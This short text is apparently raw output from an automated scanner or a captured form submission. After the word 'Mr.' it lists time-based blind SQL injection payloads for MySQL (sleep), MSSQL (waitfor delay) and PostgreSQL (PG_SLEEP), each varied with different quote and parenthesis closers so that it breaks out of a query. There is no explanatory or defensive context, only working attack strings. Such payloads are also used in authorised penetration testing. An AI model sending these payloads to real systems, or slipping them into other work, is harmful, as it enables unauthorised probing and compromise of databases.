Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

CXLfJYCH'; waitfor delay '0:0:15' --

mUqjO5jC'); waitfor delay '0:0:15' --

kQbWTGvW')); waitfor delay '0:0:15' --

-5 OR 286=(SELECT 286 FROM PG_SLEEP(15))--

-5) OR 318=(SELECT 318 FROM PG_SLEEP(15))--